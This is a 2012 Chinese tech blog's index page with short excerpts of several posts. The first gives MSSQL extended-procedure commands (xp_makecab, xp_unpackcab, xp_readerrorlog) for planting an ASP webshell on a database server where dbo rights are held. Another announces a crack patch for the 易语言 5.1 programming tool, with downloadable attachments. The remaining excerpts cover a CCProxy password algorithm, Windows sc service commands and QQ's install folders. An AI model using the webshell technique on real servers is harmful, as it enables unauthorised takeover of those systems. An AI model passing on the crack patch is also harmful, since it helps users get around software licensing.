利用MSSQL扩展来获取WEBSHELL

作者：admin 发布于：2012-3-12 16:52 Monday 分类：MSSQL

12Mar

EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'

打包

EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'

解包，可以用于得到webshell

EXEC [master].[dbo].[xp_readerrorlog] 1,'d:\cmd.asp'

读文本代码


要求权限：

master的dbo权限

 

持续收集其他扩展...

阅读全文>>

标签: webshell exec mssql

评论(0) 引用(48) 浏览(52000)

CCProxy账户加密解密算法

作者：admin 发布于：2012-3-12 16:21 Monday 分类：网络转载

12Mar

为了便于实现网络管理CCProxy，研究了一下账户的加密算法，整理成函数方便使用：

阅读全文>>

标签: CCProxy

评论(0) 引用(61) 浏览(25869)

易语言5.1正式版完美破解补丁(20101221)

作者：admin 发布于：2012-3-12 15:38 Monday 分类：网络转载

12Mar

本次补丁采用的是压缩壳处理，与上几次不同上几次因为用了VMP壳来压缩所以才会被杀毒软
件误报！！！本次的补丁正常情况下，一般的杀毒软件不会再误报了！！

本补丁由雪风制作，请尊重本人劳动成果，不要总是询问如何更改我在软件中留下的签名！

阅读全文>>

附件下载：
e_patcher.zip 79.98KB
e_patcher_noskin.zip 64.99KB
易语言5.11(20101221)更新内容.rar 1.42KB

标签: E语言 破解补丁

评论(0) 引用(65) 浏览(31960)

CMD批处理命令操作服务,利用sc命令禁用和启用服务

作者：admin 发布于：2012-3-12 15:22 Monday 分类：网络转载

12Mar

批处理利用sc禁用和启用服务
sc config 服务名称 start= auto（自动）
sc config 服务名称 start= demand（手动）
sc config 服务名称 start= disabled（禁用）
然后配合 net start 服务名称或者 net stop 服务名称 来使用

例子：
sc config shellhwdetection start= d...

阅读全文>>

标签: CMD sc 批处理 服务

评论(0) 引用(386) 浏览(53841)

QQ安装目录和文件作用详解

作者：admin 发布于：2012-3-12 15:05 Monday 分类：网络转载

12Mar

以安装原版qq以后目录下的文件为 例进行分析.不分析视频音频.及其主要功能
[] 为目录

[chat] 聊天室

[chattheme] 聊天室

[mailimage] 信箱表情符号,可以单独删除

[pimskins] 信箱面板贴图,删除了就只能看见字了.

...

阅读全文>>

标签: qq

评论(0) 引用(94) 浏览(33203)